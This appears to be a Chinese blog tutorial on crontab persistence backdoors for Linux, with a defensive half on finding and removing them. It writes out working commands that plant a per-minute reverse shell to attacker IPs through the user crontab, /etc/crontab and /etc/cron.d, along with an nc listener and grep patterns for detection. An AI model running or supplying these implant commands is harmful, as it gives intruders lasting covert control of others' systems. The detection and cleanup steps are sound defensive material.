一、原理简述
通过 crontab 设置定时任务,定期执行恶意脚本(如反弹 Shell),实现持久化控制。即使系统重启、用户退出,后门仍会按照设定的时间间隔自动执行。
一句话原理:给系统安排一个“定时闹钟”,每隔一段时间自动执行后门命令。
二、植入命令
方法1:编辑当前用户的 crontab
crontab-e
添加一行(每分钟执行一次):
*/1 * * * * bash -i >& /dev/tcp/攻击者IP/4444 0>&1
方法2:写入系统级 crontab
echo "*/1 * * * * root bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> /etc/crontab

方法3:写入 cron.d 目录
echo "*/1 * * * * root bash -i >& /dev/tcp/192.168.91.128/5555 0>&1" > /etc/cron.d/evil
三、触发方式
| 条件 | 说明 |
|---|---|
| 时间到达 | 每分钟(或设定的时间)自动执行 |
| 无需用户登录 | 系统 crond 服务自动触发 |
| 重启后仍在 | 定时任务持久化保存 |
四、攻击者监听
在攻击者机器上(IP: 192.168.1.100)执行:
nc -lvnp 5555
等待目标服务器每分钟到达时,自动反弹 Shell。

五、原理详解
| 部分 | 含义 |
|---|---|
*/1 * * * * |
每分钟执行一次(crontab 时间表达式) |
bash -i |
启动交互式 bash |
>& /dev/tcp/IP/端口 |
将标准输出和错误输出重定向到目标 IP 的端口 |
0>&1 |
将标准输入也重定向到同一个连接 |
nc -lvnp 4444 |
攻击者监听 4444 端口,等待连接 |
Crontab 时间格式
* * * * *
│ │ │ │ │
│ │ │ │ └─── 星期几 (0-7, 0和7都代表周日)
│ │ │ └─────── 月份 (1-12)
│ │ └─────────── 日期 (1-31)
│ └─────────────── 小时 (0-23)
└─────────────────── 分钟 (0-59)
常用例子:
-
*/1 * * * *= 每分钟 -
0 */2 * * *= 每2小时 -
0 0 * * *= 每天零点 -
@reboot= 重启时执行一次
六、排查方法
1. 查看当前用户的 crontab
crontab -l
2. 查看 root 的 crontab
crontab -l -u root
3. 查看系统级 crontab
cat /etc/crontab
4. 查看 cron.d 目录
ls -la /etc/cron.d/
cat /etc/cron.d/* 2>/dev/null
5. 查看用户各自的 crontab
ls -la /var/spool/cron/
6. 搜索反弹 Shell 特征
grep -r -E "bash -i|/dev/tcp|nc -e" /etc/cron* /var/spool/cron/ 2>/dev/null

七、清除方法
# 1. 编辑删除恶意行
crontab -e
# 删除包含反弹 Shell 的那一行
# 2. 或者直接清空(谨慎)
crontab -r
# 3. 删除系统级任务
sed -i '/\/dev\/tcp/d' /etc/crontab
rm -f /etc/cron.d/evil
# 4. 重启 crond 服务(可选)
systemctl restart crond
八、与其他后门对比
| 对比项 | Crontab 后门 | SSH Wrapper 后门 | strace 后门 |
|---|---|---|---|
| 持久化 | ✅ 重启仍在 | ✅ 重启仍在 | ✅ 重启仍在 |
| 需要用户操作 | ❌ 自动执行 | ✅ 需要 SSH 连接 | ✅ 需要执行 ssh 命令 |
| 触发方式 | 定时 | 特定源端口 | 用户使用 ssh |
| 隐蔽性 | 中等 | 较高 | 较低 |
| 排查难度 | 低(查 crontab) | 中(查文件替换) | 低(查 alias) |
九、快速检测命令
# 一条命令检测所有位置的 crontab 后门
(crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; cat /etc/cron.d/* 2>/dev/null) | grep -E "bash -i|/dev/tcp|nc -e|python -c"
十、RHEL 8 特别说明
在 RHEL 8 上:
-
crond 服务名是
crond(不是 cron) -
查看服务状态:
systemctl status crond -
日志位置:
/var/log/cron
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END


















暂无评论内容